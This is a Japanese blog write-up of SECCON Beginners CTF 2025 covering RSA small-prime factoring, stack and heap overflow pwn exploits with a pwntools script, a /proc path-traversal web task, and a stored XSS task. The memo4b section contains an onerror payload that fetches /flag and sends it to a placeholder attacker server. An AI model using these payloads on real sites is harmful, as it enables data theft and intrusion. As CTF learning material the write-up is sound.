1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners 2025 Writeup

1
Posted at

floretとして2人で参加
141/880位 でした
チームとしては18問で自分は crypto 1問、pwn 2問、web 2問解きました。

解いた問題

image.png

welcome

100pt (865 solve)

問題

SECCON Beginners CTF 2025へようこそ Flagは ctf4b{W3lc0m3_2_SECCON_Beginners_CTF_2025} です

解法

Flagを貼り付けるだけ
ついにDiscordすら見る必要がなくなった過去一番に簡単なWelcome問題だった

seesaw (crypto)

100pt (612 solve)

問題

RSA初心者です! pとqはこれでいいよね...?

コード
chall.py
import os
from Crypto.Util.number import getPrime

FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}").encode()
m = int.from_bytes(FLAG, 'big')

p = getPrime(512)   
q = getPrime(16)
n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
output.txt
n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079

解法

pはいいけどqが小さすぎるぞ!
実際にコードを見ると、qが16bitの範囲で作成されている

探索可能なので全探索したら終了

solve.py
exec(open("output.txt").read())
from Crypto.Util.number import *

e=65537
for q in range(2,1<<16):
    if n%q==0:
        p=n//q
        phi=(p-1)*(q-1)
        d=pow(e,-1,phi)
        ms=pow(c,d,n)
        print(long_to_bytes(ms))
実行結果
b'ctf4b{unb4l4nc3d_pr1m35_4r3_b4d}'

pet_name (pwn)

100pt (586 solve)

問題

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。

コード
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    // You don't need to read this because it's just initialization
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
}

int main() {
    init();

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

    FILE *fp = fopen(path, "r");
    if (fp) {
        char buf[256] = {0};
        if (fgets(buf, sizeof(buf), fp) != NULL) {
            printf("%s sound: %s\n", pet_name, buf);
        } else {
            puts("Failed to read the file.");
        }
        fclose(fp);
    } else {
        printf("File not found: %s\n", path);
    }
    return 0;
}

解法

ローカル変数のレジスタは連続しているので

main.c(抜粋)
    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

nameに格納するタイミングでBOFして以降のPATHをFLAGに書き換えれば通りそうだと分かる

なのでコードっぽく作るなら

python -c 'print("A"*32+"/home/pwn/flag.txt")'

という感じで生成した文字列を問題サーバーの入力で渡せばFLAGゲット

実行結果
nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}

pet_sound (pwn)

100pt (410 solve)

問題

ペットに鳴き声を教えましょう。

コード
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);

struct Pet {
    void (*speak)(struct Pet *p);
    char sound[32];
};

int main() {
    struct Pet *pet_A, *pet_B;

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    puts("--- Pet Hijacking ---");
    puts("Your mission: Make Pet speak the secret FLAG!\n");
    printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);

    pet_A = malloc(sizeof(struct Pet));
    pet_B = malloc(sizeof(struct Pet));

    pet_A->speak = speak_sound;
    strcpy(pet_A->sound, "wan...");
    pet_B->speak = speak_sound;
    strcpy(pet_B->sound, "wan...");

    printf("[*] Pet A is allocated at: %p\n", pet_A);
    printf("[*] Pet B is allocated at: %p\n", pet_B);
    
    puts("\n[Initial Heap State]");
    visualize_heap(pet_A, pet_B);

    printf("\n");
    printf("Input a new cry for Pet A > ");
    read(0, pet_A->sound, 0x32);

    puts("\n[Heap State After Input]");
    visualize_heap(pet_A, pet_B);

    pet_A->speak(pet_A);
    pet_B->speak(pet_B);

    free(pet_A);
    free(pet_B);
    return 0;
}

void speak_flag(struct Pet *p) {
    char flag[64] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
        return;
    }
    fgets(flag, sizeof(flag), f);
    fclose(f);
    flag[strcspn(flag, "\n")] = '\0';

    puts("\n**********************************************");
    puts("* Pet suddenly starts speaking flag.txt...!? *");
    printf("* Pet: \"%s\" *\n", flag);
    puts("**********************************************");
    exit(0);
}

void speak_sound(struct Pet *p) {
    printf("Pet says: %s\n", p->sound);
}

void visualize_heap(struct Pet *a, struct Pet *b) {
    unsigned long long *ptr = (unsigned long long *)a;
    puts("\n--- Heap Layout Visualization ---");
    for (int i = 0; i < 12; i++, ptr++) {
        printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
        if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
        if (ptr == (unsigned long long *)a->sound)   printf(" <-- pet_A->sound");
        if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
        if (ptr == (unsigned long long *)b->sound)   printf(" <-- pet_B->sound");
        puts("");
    }
    puts("---------------------------------");
}

解法

main.c(抜粋)
struct Pet {
    void (*speak)(struct Pet *p);
    char sound[32];
};

sound[32]と定義されているのに

main.c
read(0, pet_A->sound, 0x32);

0x32 = 50byte読み込みを行っている
18byte のBOFが可能

レジスタの配置で考えるとpet_Aのsoundの次はpet_Bのspeakのポインタになるのでそこをspeak_flagのポインタに上書きすれば良さそう
speak_flagのポインタは最初にメッセージとして表示される親切設計らしいのでそれを素直に読み取って渡してやればOK

solve.py
from pwn import *

def exploit():
    io = remote("pet-sound.challenges.beginners.seccon.jp", 9090)
    io.recvline()
    io.recvline()
    io.recvline()
    received = io.recvline().strip().split()[-1]
    target=int(received,16)
    payload=b"A"*40+p64(target)
    io.sendline(payload)
    io.interactive()

exploit()
実行結果
[Heap State After Input]

--- Heap Layout Visualization ---
0x00005ea9519622a0: 0x00005ea921c805d2 <-- pet_A->speak
0x00005ea9519622a8: 0x4141414141414141 <-- pet_A->sound
0x00005ea9519622b0: 0x4141414141414141
0x00005ea9519622b8: 0x4141414141414141
0x00005ea9519622c0: 0x4141414141414141
0x00005ea9519622c8: 0x4141414141414141
0x00005ea9519622d0: 0x00005ea921c80492 <-- pet_B->speak (TARGET!)
0x00005ea9519622d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x00005ea9519622e0: 0x0000000000000000
0x00005ea9519622e8: 0x0000000000000000
0x00005ea9519622f0: 0x0000000000000000
0x00005ea9519622f8: 0x0000000000020d11
---------------------------------
Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��!�^

**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Got EOF while reading in interactive

前回の問題に習うならb"A"*32じゃないの?という気持ちになると思いますが
実際にレジスタの値を見ると40バイト分離れていたので調整しました

C言語のアライメントの話あたりが関係するのかなと思い
以下あたりを読んだけど今回の問題とは関係しないようです。
https://hirokuma.blog/?p=1691
https://creepfablic.site/2019/09/16/clangu-alignment-padding/

GPTくんに聞いたところ最適化の関係で16byte境界においているのではということでした。真偽は不明です。分かる人教えて下さい。

log-viewer (web)

100pt(621 solve)

問題

ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです...

http://log-viewer.challenges.beginners.seccon.jp:9999

解法

アクセスすると以下のページ

image.png

2つファイルが選べる

image.png

viewを押下すると以下のようになる

image.png

access.log
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:12:42:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:12:42:15 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:21 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:24 +0900] "GET /?file=../.env HTTP/1.1" 404 690 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:53 +0900] "GET /?file=../../proc/self/environ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:43:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:43:59 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:45:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:47:01 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
debug.log
2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=""
2025/06/21 10:41:58 INFO handlerFunc file=""
2025/06/21 10:42:13 INFO handlerFunc file="access.log"
2025/06/21 10:42:15 INFO handlerFunc file="access.log"
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:21 INFO handlerFunc file="debug.log"
2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""
2025/06/21 12:45:13 INFO handlerFunc file="access.log"
2025/06/21 12:47:01 INFO handlerFunc file="debug.log"

access.logを見ると怪しいPATHが

/?file=../../proc/self/environ

debug.logにもFLAGを格納してそうな一文を発見

2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000

cmdline実行時に引数としてFLAGを渡しているようなので試しにサーバープロセスのcmdlineのログを見てみる
/?file=../../proc/self/cmdline でアクセス

image.png

flagゲット
ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

memo4b (web)

308pt (157 solve)

問題

Emojiが使えるメモアプリケーションを作りました:smile:
メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000
Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001
Admin Bot (mirror): http://memo4b.challenges.beginners.seccon.jp:50002
Admin Bot (mirror2): http://memo4b.challenges.beginners.seccon.jp:50003

ファイル構成

└── memo4b
    ├── Dockerfile
    ├── app.js
    ├── bot
    │   ├── Dockerfile
    │   ├── bot.js
    │   ├── index.html
    │   ├── package-lock.json
    │   └── package.json
    ├── docker-compose.yml
    ├── flag.txt
    ├── package-lock.json
    ├── package.json
    ├── static
    │   └── style.css
    └── templates
        ├── index.html
        └── post.html

5 directories, 14 files

量が多いので本質的な部分以外は端折ります

解法

Adminが見に来るということなので以下のサイトを見た瞬間に格納型XSSかなと思いました

memo作成ページ
image.png

管理BOTページ
image.png

脳死でmemo作成ページ側でAdminセッションを奪取するXSSを入れるとエスケープされてしまったのでmemo作成側のコードを確認
ちなみにBOT側でエスケープはされていないようだった

app.post('/', (req,res)=>{
  const { title='', md='' } = req.body;
  
  marked.setOptions({
    breaks: true,
    gfm: false
  });
  
  let html = marked.parse(md);

  html = sanitizeHtml(html, {
    allowedTags: ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'em', 'strong', 'br'],
    allowedAttributes: {
      'a': ['href']
    }
  });

  html = processEmojis(html);

  const id = crypto.randomUUID().slice(0,8);
  posts.set(id,{ 
    title: title.replace(/[<>]/g, ''), 
    html: html 
  });
  res.redirect(`/post/${id}`);
});

sanitizeHtmlを見るにscriptタグは使用できなさそう

function processEmojis(html) {
  return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
    if (emojiMap[name]) {
      return emojiMap[name];
    }
    
    if (name.match(/^https?:\/\//)) {
      try {
        const urlObj = new URL(name);
        const baseUrl = urlObj.origin + urlObj.pathname;
        const parsed = parse(name);
        const fragment = parsed.hash || '';
        const imgUrl = baseUrl + fragment;
        
        return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
      } catch (e) {
        return match;
      }
    }
    
    return match;
  });
}

process絵文字を見るに、雑にみると:http://*.:の範囲でなら文字を作れそう
そのプロセスを経た結果imageタグに囲まれて出力をしている

imageが取れないときに発火するonerrorでリクエストを記録するサーバーに対してアクセスさせればセッションを奪えそう

YOUR_EVIL_SERVER部分を書き換えてメモ作成
:http://invalid.png/#" onerror="fetch('/flag').then(r=>r.text()).then(t=>fetch('YOUR_EVIL_SERVER/?flag='+encodeURIComponent(t)))":

すると以下のようになるので、URLの最後にあるidをAdminボット側に指定すればOK

image.png

一部URLエンコードされているがFLAGゲット
image.png

感想

最終的にチームで解いた問題で100ptにならなかった問題はpivot4bとmemo4bの2問だけだったのは正直驚いた
昨年37位で何なら昨年より難しい問題解けてたことを考えると周りが強くなったのかAIが進化したのか()

発言は個人の見解に基づくものであり、所属組織を代表するものではありません

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?